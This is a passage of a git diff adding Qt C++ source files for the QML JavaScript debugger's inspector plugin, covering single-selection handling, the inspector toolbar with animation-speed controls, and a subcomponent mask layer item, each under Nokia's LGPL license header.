+#include "liveselectionindicator.h"
+
+#include <QtCore/QList>
+#include <QtCore/QTime>
+
+QT_FORWARD_DECLARE_CLASS(QGraphicsItem)
+QT_FORWARD_DECLARE_CLASS(QMouseEvent)
+QT_FORWARD_DECLARE_CLASS(QKeyEvent)
+QT_FORWARD_DECLARE_CLASS(QAction)
+
+namespace QmlJSDebugger {
+
+class LiveSelectionTool : public AbstractLiveEditTool
+{
+ Q_OBJECT
+
+public:
+ LiveSelectionTool(QDeclarativeViewInspector* editorView);
+ ~LiveSelectionTool();
+
+ void mousePressEvent(QMouseEvent *event);
+ void mouseMoveEvent(QMouseEvent *event);
+ void mouseReleaseEvent(QMouseEvent *event);
+ void mouseDoubleClickEvent(QMouseEvent *) {}
+ void hoverMoveEvent(QMouseEvent *event);
+ void keyPressEvent(QKeyEvent *event);
+ void keyReleaseEvent(QKeyEvent *) {}
+ void wheelEvent(QWheelEvent *event);
+
+ void itemsAboutToRemoved(const QList<QGraphicsItem*> &) {}
+// QVariant itemChange(const QList<QGraphicsItem*> &itemList,
+// QGraphicsItem::GraphicsItemChange change,
+// const QVariant &value );
+
+// void update();
+
+ void clear();
+
+ void selectedItemsChanged(const QList<QGraphicsItem*> &itemList);
+
+ void selectUnderPoint(QMouseEvent *event);
+
+ void setSelectOnlyContentItems(bool selectOnlyContentItems);
+
+ void setRubberbandSelectionMode(bool value);
+
+private slots:
+ void contextMenuElementSelected();
+ void contextMenuElementHovered(QAction *action);
+ void repaintBoundingRects();
+
+private:
+ void createContextMenu(const QList<QGraphicsItem*> &itemList, QPoint globalPos);
+ LiveSingleSelectionManipulator::SelectionType getSelectionType(Qt::KeyboardModifiers modifiers);
+ bool alreadySelected(const QList<QGraphicsItem*> &itemList) const;
+
+private:
+ bool m_rubberbandSelectionMode;
+ LiveRubberBandSelectionManipulator m_rubberbandSelectionManipulator;
+ LiveSingleSelectionManipulator m_singleSelectionManipulator;
+ LiveSelectionIndicator m_selectionIndicator;
+ //ResizeIndicator m_resizeIndicator;
+ QTime m_mousePressTimer;
+ bool m_selectOnlyContentItems;
+
+ QList<QWeakPointer<QGraphicsObject> > m_selectedItemList;
+
+ QList<QGraphicsItem*> m_contextMenuItemList;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // LIVESELECTIONTOOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.cpp
new file mode 100644
index 00000000..67583943
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.cpp
@@ -0,0 +1,151 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "livesingleselectionmanipulator.h"
+
+#include "../qdeclarativeviewinspector_p.h"
+
+#include <QtDebug>
+
+namespace QmlJSDebugger {
+
+LiveSingleSelectionManipulator::LiveSingleSelectionManipulator(QDeclarativeViewInspector *editorView)
+ : m_editorView(editorView),
+ m_isActive(false)
+{
+}
+
+
+void LiveSingleSelectionManipulator::begin(const QPointF &beginPoint)
+{
+ m_beginPoint = beginPoint;
+ m_isActive = true;
+ m_oldSelectionList = QDeclarativeViewInspectorPrivate::get(m_editorView)->selectedItems();
+}
+
+void LiveSingleSelectionManipulator::update(const QPointF &/*updatePoint*/)
+{
+ m_oldSelectionList.clear();
+}
+
+void LiveSingleSelectionManipulator::clear()
+{
+ m_beginPoint = QPointF();
+ m_oldSelectionList.clear();
+}
+
+
+void LiveSingleSelectionManipulator::end(const QPointF &/*updatePoint*/)
+{
+ m_oldSelectionList.clear();
+ m_isActive = false;
+}
+
+void LiveSingleSelectionManipulator::select(SelectionType selectionType,
+ const QList<QGraphicsItem*> &items,
+ bool /*selectOnlyContentItems*/)
+{
+ QGraphicsItem *selectedItem = 0;
+
+ foreach (QGraphicsItem* item, items)
+ {
+ //FormEditorItem *formEditorItem = FormEditorItem::fromQGraphicsItem(item);
+ if (item
+ /*&& !formEditorItem->qmlItemNode().isRootNode()
+ && (formEditorItem->qmlItemNode().hasShowContent() || !selectOnlyContentItems)*/)
+ {
+ selectedItem = item;
+ break;
+ }
+ }
+
+ QList<QGraphicsItem*> resultList;
+
+ switch (selectionType) {
+ case AddToSelection: {
+ resultList.append(m_oldSelectionList);
+ if (selectedItem && !m_oldSelectionList.contains(selectedItem))
+ resultList.append(selectedItem);
+ }
+ break;
+ case ReplaceSelection: {
+ if (selectedItem)
+ resultList.append(selectedItem);
+ }
+ break;
+ case RemoveFromSelection: {
+ resultList.append(m_oldSelectionList);
+ if (selectedItem)
+ resultList.removeAll(selectedItem);
+ }
+ break;
+ case InvertSelection: {
+ if (selectedItem
+ && !m_oldSelectionList.contains(selectedItem))
+ {
+ resultList.append(selectedItem);
+ }
+ }
+ }
+
+ m_editorView->setSelectedItems(resultList);
+}
+
+void LiveSingleSelectionManipulator::select(SelectionType selectionType, bool selectOnlyContentItems)
+{
+ QDeclarativeViewInspectorPrivate *inspectorPrivate =
+ QDeclarativeViewInspectorPrivate::get(m_editorView);
+ QList<QGraphicsItem*> itemList = inspectorPrivate->selectableItems(m_beginPoint);
+ select(selectionType, itemList, selectOnlyContentItems);
+}
+
+
+bool LiveSingleSelectionManipulator::isActive() const
+{
+ return m_isActive;
+}
+
+QPointF LiveSingleSelectionManipulator::beginPoint() const
+{
+ return m_beginPoint;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.h b/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.h
new file mode 100644
index 00000000..256a6ead
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.h
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LIVESINGLESELECTIONMANIPULATOR_H
+#define LIVESINGLESELECTIONMANIPULATOR_H
+
+#include <QtCore/QPointF>
+#include <QtCore/QList>
+
+QT_FORWARD_DECLARE_CLASS(QGraphicsItem)
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+
+class LiveSingleSelectionManipulator
+{
+public:
+ LiveSingleSelectionManipulator(QDeclarativeViewInspector *editorView);
+
+ enum SelectionType {
+ ReplaceSelection,
+ AddToSelection,
+ RemoveFromSelection,
+ InvertSelection
+ };
+
+ void begin(const QPointF& beginPoint);
+ void update(const QPointF& updatePoint);
+ void end(const QPointF& updatePoint);
+
+ void select(SelectionType selectionType, const QList<QGraphicsItem*> &items,
+ bool selectOnlyContentItems);
+ void select(SelectionType selectionType, bool selectOnlyContentItems);
+
+ void clear();
+
+ QPointF beginPoint() const;
+
+ bool isActive() const;
+
+private:
+ QList<QGraphicsItem*> m_oldSelectionList;
+ QPointF m_beginPoint;
+ QDeclarativeViewInspector *m_editorView;
+ bool m_isActive;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // LIVESINGLESELECTIONMANIPULATOR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.cpp
new file mode 100644
index 00000000..ead0e166
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.cpp
@@ -0,0 +1,328 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmltoolbar.h"
+#include "toolbarcolorbox.h"
+
+#include <QtGui/QLabel>
+#include <QtGui/QIcon>
+#include <QtGui/QAction>
+#include <QtGui/QMenu>
+
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+QmlToolBar::QmlToolBar(QWidget *parent)
+ : QToolBar(parent)
+ , m_emitSignals(true)
+ , m_paused(false)
+ , m_animationSpeed(1.0f)
+ , ui(new Ui)
+{
+ ui->playIcon = QIcon(QLatin1String(":/qml/images/play-24.png"));
+ ui->pauseIcon = QIcon(QLatin1String(":/qml/images/pause-24.png"));
+
+ ui->designmode = new QAction(QIcon(QLatin1String(":/qml/images/inspectormode-24.png")),
+ tr("Inspector Mode"), this);
+ ui->play = new QAction(ui->pauseIcon, tr("Play/Pause Animations"), this);
+ ui->select = new QAction(QIcon(QLatin1String(":/qml/images/select-24.png")), tr("Select"), this);
+ ui->selectMarquee = new QAction(QIcon(QLatin1String(":/qml/images/select-marquee-24.png")),
+ tr("Select (Marquee)"), this);
+ ui->zoom = new QAction(QIcon(QLatin1String(":/qml/images/zoom-24.png")), tr("Zoom"), this);
+ ui->colorPicker = new QAction(QIcon(QLatin1String(":/qml/images/color-picker-24.png")),
+ tr("Color Picker"), this);
+ ui->toQml = new QAction(QIcon(QLatin1String(":/qml/images/to-qml-24.png")),
+ tr("Apply Changes to QML Viewer"), this);
+ ui->fromQml = new QAction(QIcon(QLatin1String(":/qml/images/from-qml-24.png")),
+ tr("Apply Changes to Document"), this);
+ ui->designmode->setCheckable(true);
+ ui->designmode->setChecked(false);
+
+ ui->play->setCheckable(false);
+ ui->select->setCheckable(true);
+ ui->selectMarquee->setCheckable(true);
+ ui->zoom->setCheckable(true);
+ ui->colorPicker->setCheckable(true);
+
+ setWindowTitle(tr("Tools"));
+
+ addAction(ui->designmode);
+ addAction(ui->play);
+ addSeparator();
+
+ addAction(ui->select);
+ // disabled because multi selection does not do anything useful without design mode
+ //addAction(ui->selectMarquee);
+ addSeparator();
+ addAction(ui->zoom);
+ addAction(ui->colorPicker);
+ //addAction(ui->fromQml);
+
+ ui->colorBox = new ToolBarColorBox(this);
+ ui->colorBox->setMinimumSize(24, 24);
+ ui->colorBox->setMaximumSize(28, 28);
+ ui->colorBox->setColor(Qt::black);
+ addWidget(ui->colorBox);
+
+ setWindowFlags(Qt::Tool);
+
+ QMenu *playSpeedMenu = new QMenu(this);
+ ui->playSpeedMenuActions = new QActionGroup(this);
+ ui->playSpeedMenuActions->setExclusive(true);
+
+ QAction *speedAction = playSpeedMenu->addAction(tr("1x"), this, SLOT(changeAnimationSpeed()));
+ speedAction->setCheckable(true);
+ speedAction->setChecked(true);
+ speedAction->setData(1.0f);
+ ui->playSpeedMenuActions->addAction(speedAction);
+
+ speedAction = playSpeedMenu->addAction(tr("0.5x"), this, SLOT(changeAnimationSpeed()));
+ speedAction->setCheckable(true);
+ speedAction->setData(2.0f);
+ ui->playSpeedMenuActions->addAction(speedAction);
+
+ speedAction = playSpeedMenu->addAction(tr("0.25x"), this, SLOT(changeAnimationSpeed()));
+ speedAction->setCheckable(true);
+ speedAction->setData(4.0f);
+ ui->playSpeedMenuActions->addAction(speedAction);
+
+ speedAction = playSpeedMenu->addAction(tr("0.125x"), this, SLOT(changeAnimationSpeed()));
+ speedAction->setCheckable(true);
+ speedAction->setData(8.0f);
+ ui->playSpeedMenuActions->addAction(speedAction);
+
+ speedAction = playSpeedMenu->addAction(tr("0.1x"), this, SLOT(changeAnimationSpeed()));
+ speedAction->setCheckable(true);
+ speedAction->setData(10.0f);
+ ui->playSpeedMenuActions->addAction(speedAction);
+
+ ui->play->setMenu(playSpeedMenu);
+
+ connect(ui->designmode, SIGNAL(toggled(bool)), SLOT(setDesignModeBehaviorOnClick(bool)));
+
+ connect(ui->colorPicker, SIGNAL(triggered()), SLOT(activateColorPickerOnClick()));
+
+ connect(ui->play, SIGNAL(triggered()), SLOT(activatePlayOnClick()));
+
+ connect(ui->zoom, SIGNAL(triggered()), SLOT(activateZoomOnClick()));
+ connect(ui->colorPicker, SIGNAL(triggered()), SLOT(activateColorPickerOnClick()));
+ connect(ui->select, SIGNAL(triggered()), SLOT(activateSelectToolOnClick()));
+ connect(ui->selectMarquee, SIGNAL(triggered()), SLOT(activateMarqueeSelectToolOnClick()));
+
+ connect(ui->toQml, SIGNAL(triggered()), SLOT(activateToQml()));
+ connect(ui->fromQml, SIGNAL(triggered()), SLOT(activateFromQml()));
+}
+
+QmlToolBar::~QmlToolBar()
+{
+ delete ui;
+}
+
+void QmlToolBar::activateColorPicker()
+{
+ m_emitSignals = false;
+ activateColorPickerOnClick();
+ m_emitSignals = true;
+}
+
+void QmlToolBar::activateSelectTool()
+{
+ m_emitSignals = false;
+ activateSelectToolOnClick();
+ m_emitSignals = true;
+}
+
+void QmlToolBar::activateMarqueeSelectTool()
+{
+ m_emitSignals = false;
+ activateMarqueeSelectToolOnClick();
+ m_emitSignals = true;
+}
+
+void QmlToolBar::activateZoom()
+{
+ m_emitSignals = false;
+ activateZoomOnClick();
+ m_emitSignals = true;
+}
+
+void QmlToolBar::setAnimationSpeed(qreal slowDownFactor)
+{
+ if (m_animationSpeed == slowDownFactor)
+ return;
+
+ m_emitSignals = false;
+ m_animationSpeed = slowDownFactor;
+
+ foreach (QAction *action, ui->playSpeedMenuActions->actions()) {
+ if (action->data().toReal() == slowDownFactor) {
+ action->setChecked(true);
+ break;
+ }
+ }
+
+ m_emitSignals = true;
+}
+
+void QmlToolBar::setAnimationPaused(bool paused)
+{
+ if (m_paused == paused)
+ return;
+
+ m_paused = paused;
+ updatePlayAction();
+}
+
+void QmlToolBar::changeAnimationSpeed()
+{
+ QAction *action = qobject_cast<QAction*>(sender());
+ m_animationSpeed = action->data().toReal();
+ emit animationSpeedChanged(m_animationSpeed);
+}
+
+void QmlToolBar::setDesignModeBehavior(bool inDesignMode)
+{
+ m_emitSignals = false;
+ ui->designmode->setChecked(inDesignMode);
+ setDesignModeBehaviorOnClick(inDesignMode);
+ m_emitSignals = true;
+}
+
+void QmlToolBar::setDesignModeBehaviorOnClick(bool checked)
+{
+ ui->select->setEnabled(checked);
+ ui->selectMarquee->setEnabled(checked);
+ ui->zoom->setEnabled(checked);
+ ui->colorPicker->setEnabled(checked);
+ ui->toQml->setEnabled(checked);
+ ui->fromQml->setEnabled(checked);
+
+ if (m_emitSignals)
+ emit designModeBehaviorChanged(checked);
+}
+
+void QmlToolBar::setColorBoxColor(const QColor &color)
+{
+ ui->colorBox->setColor(color);
+}
+
+void QmlToolBar::activatePlayOnClick()
+{
+ m_paused = !m_paused;
+ emit animationPausedChanged(m_paused);
+ updatePlayAction();
+}
+
+void QmlToolBar::updatePlayAction()
+{
+ ui->play->setIcon(m_paused ? ui->playIcon : ui->pauseIcon);
+}
+
+void QmlToolBar::activateColorPickerOnClick()
+{
+ ui->zoom->setChecked(false);
+ ui->select->setChecked(false);
+ ui->selectMarquee->setChecked(false);
+
+ ui->colorPicker->setChecked(true);
+ if (m_activeTool != Constants::ColorPickerMode) {
+ m_activeTool = Constants::ColorPickerMode;
+ if (m_emitSignals)
+ emit colorPickerSelected();
+ }
+}
+
+void QmlToolBar::activateSelectToolOnClick()
+{
+ ui->zoom->setChecked(false);
+ ui->selectMarquee->setChecked(false);
+ ui->colorPicker->setChecked(false);
+
+ ui->select->setChecked(true);
+ if (m_activeTool != Constants::SelectionToolMode) {
+ m_activeTool = Constants::SelectionToolMode;
+ if (m_emitSignals)
+ emit selectToolSelected();
+ }
+}
+
+void QmlToolBar::activateMarqueeSelectToolOnClick()
+{
+ ui->zoom->setChecked(false);
+ ui->select->setChecked(false);
+ ui->colorPicker->setChecked(false);
+
+ ui->selectMarquee->setChecked(true);
+ if (m_activeTool != Constants::MarqueeSelectionToolMode) {
+ m_activeTool = Constants::MarqueeSelectionToolMode;
+ if (m_emitSignals)
+ emit marqueeSelectToolSelected();
+ }
+}
+
+void QmlToolBar::activateZoomOnClick()
+{
+ ui->select->setChecked(false);
+ ui->selectMarquee->setChecked(false);
+ ui->colorPicker->setChecked(false);
+
+ ui->zoom->setChecked(true);
+ if (m_activeTool != Constants::ZoomMode) {
+ m_activeTool = Constants::ZoomMode;
+ if (m_emitSignals)
+ emit zoomToolSelected();
+ }
+}
+
+void QmlToolBar::activateFromQml()
+{
+ if (m_emitSignals)
+ emit applyChangesFromQmlFileSelected();
+}
+
+void QmlToolBar::activateToQml()
+{
+ if (m_emitSignals)
+ emit applyChangesToQmlFileSelected();
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.h b/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.h
new file mode 100644
index 00000000..3833ff28
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.h
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLTOOLBAR_H
+#define QMLTOOLBAR_H
+
+#include <QtGui/QToolBar>
+#include <QtGui/QIcon>
+
+#include "../qmlinspectorconstants.h"
+
+QT_FORWARD_DECLARE_CLASS(QActionGroup)
+
+namespace QmlJSDebugger {
+
+class ToolBarColorBox;
+
+class QmlToolBar : public QToolBar
+{
+ Q_OBJECT
+
+public:
+ explicit QmlToolBar(QWidget *parent = 0);
+ ~QmlToolBar();
+
+public slots:
+ void setDesignModeBehavior(bool inDesignMode);
+ void setColorBoxColor(const QColor &color);
+ void activateColorPicker();
+ void activateSelectTool();
+ void activateMarqueeSelectTool();
+ void activateZoom();
+
+ void setAnimationSpeed(qreal slowDownFactor);
+ void setAnimationPaused(bool paused);
+
+signals:
+ void animationSpeedChanged(qreal factor);
+ void animationPausedChanged(bool paused);
+
+ void designModeBehaviorChanged(bool inDesignMode);
+ void colorPickerSelected();
+ void selectToolSelected();
+ void marqueeSelectToolSelected();
+ void zoomToolSelected();
+
+ void applyChangesToQmlFileSelected();
+ void applyChangesFromQmlFileSelected();
+
+private slots:
+ void setDesignModeBehaviorOnClick(bool inDesignMode);
+ void activatePlayOnClick();
+ void activateColorPickerOnClick();
+ void activateSelectToolOnClick();
+ void activateMarqueeSelectToolOnClick();
+ void activateZoomOnClick();
+
+ void activateFromQml();
+ void activateToQml();
+
+ void changeAnimationSpeed();
+
+ void updatePlayAction();
+
+private:
+ class Ui {
+ public:
+ QAction *designmode;
+ QAction *play;
+ QAction *select;
+ QAction *selectMarquee;
+ QAction *zoom;
+ QAction *colorPicker;
+ QAction *toQml;
+ QAction *fromQml;
+ QIcon playIcon;
+ QIcon pauseIcon;
+ ToolBarColorBox *colorBox;
+
+ QActionGroup *playSpeedMenuActions;
+ };
+
+ bool m_emitSignals;
+ bool m_paused;
+ qreal m_animationSpeed;
+
+ Constants::DesignTool m_activeTool;
+
+ Ui *ui;
+};
+
+}
+
+#endif // QMLTOOLBAR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.cpp
new file mode 100644
index 00000000..62b2799b
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.cpp
@@ -0,0 +1,130 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "subcomponentmasklayeritem.h"
+
+#include "../qmlinspectorconstants.h"
+#include "../qdeclarativeviewinspector.h"
+
+#include <QtGui/QPolygonF>
+
+namespace QmlJSDebugger {
+
+SubcomponentMaskLayerItem::SubcomponentMaskLayerItem(QDeclarativeViewInspector *inspector,
+ QGraphicsItem *parentItem) :
+ QGraphicsPolygonItem(parentItem),
+ m_inspector(inspector),
+ m_currentItem(0),
+ m_borderRect(new QGraphicsRectItem(this))
+{
+ m_borderRect->setRect(0,0,0,0);
+ m_borderRect->setPen(QPen(QColor(60, 60, 60), 1));
+ m_borderRect->setData(Constants::EditorItemDataKey, QVariant(true));
+
+ setBrush(QBrush(QColor(160,160,160)));
+ setPen(Qt::NoPen);
+}
+
+int SubcomponentMaskLayerItem::type() const
+{
+ return Constants::EditorItemType;
+}
+
+static QRectF resizeRect(const QRectF &newRect, const QRectF &oldRect)
+{
+ QRectF result = newRect;
+ if (oldRect.left() < newRect.left())
+ result.setLeft(oldRect.left());
+
+ if (oldRect.top() < newRect.top())
+ result.setTop(oldRect.top());
+
+ if (oldRect.right() > newRect.right())
+ result.setRight(oldRect.right());
+
+ if (oldRect.bottom() > newRect.bottom())
+ result.setBottom(oldRect.bottom());
+
+ return result;
+}
+
+static QPolygonF regionToPolygon(const QRegion &region)
+{
+ QPainterPath path;
+ foreach (const QRect &rect, region.rects())
+ path.addRect(rect);
+ return path.toFillPolygon();
+}
+
+void SubcomponentMaskLayerItem::setCurrentItem(QGraphicsItem *item)
+{
+ QGraphicsItem *prevItem = m_currentItem;
+ m_currentItem = item;
+
+ if (!m_currentItem)
+ return;
+
+ QRect viewRect = m_inspector->declarativeView()->rect();
+ viewRect = m_inspector->declarativeView()->mapToScene(viewRect).boundingRect().toRect();
+
+ QRectF itemRect = item->boundingRect() | item->childrenBoundingRect();
+ itemRect = item->mapRectToScene(itemRect);
+
+ // if updating the same item as before, resize the rectangle only bigger, not smaller.
+ if (prevItem == item && prevItem != 0) {
+ m_itemPolyRect = resizeRect(itemRect, m_itemPolyRect);
+ } else {
+ m_itemPolyRect = itemRect;
+ }
+ QRectF borderRect = m_itemPolyRect;
+ borderRect.adjust(-1, -1, 1, 1);
+ m_borderRect->setRect(borderRect);
+
+ const QRegion externalRegion = QRegion(viewRect).subtracted(m_itemPolyRect.toRect());
+ setPolygon(regionToPolygon(externalRegion));
+}
+
+QGraphicsItem *SubcomponentMaskLayerItem::currentItem() const
+{
+ return m_currentItem;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.h b/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.h
new file mode 100644
index 00000000..53864cc0
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SUBCOMPONENTMASKLAYERITEM_H
+#define SUBCOMPONENTMASKLAYERITEM_H
+
+#include <QtGui/QGraphicsPolygonItem>
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+
+class SubcomponentMaskLayerItem : public QGraphicsPolygonItem
+{
+public:
+ explicit SubcomponentMaskLayerItem(QDeclarativeViewInspector *inspector,
+ QGraphicsItem *parentItem = 0);
+ int type() const;
+ void setCurrentItem(QGraphicsItem *item);
+ void setBoundingBox(const QRectF &boundingBox);
+ QGraphicsItem *currentItem() const;
+ QRectF itemRect() const;
+
+private:
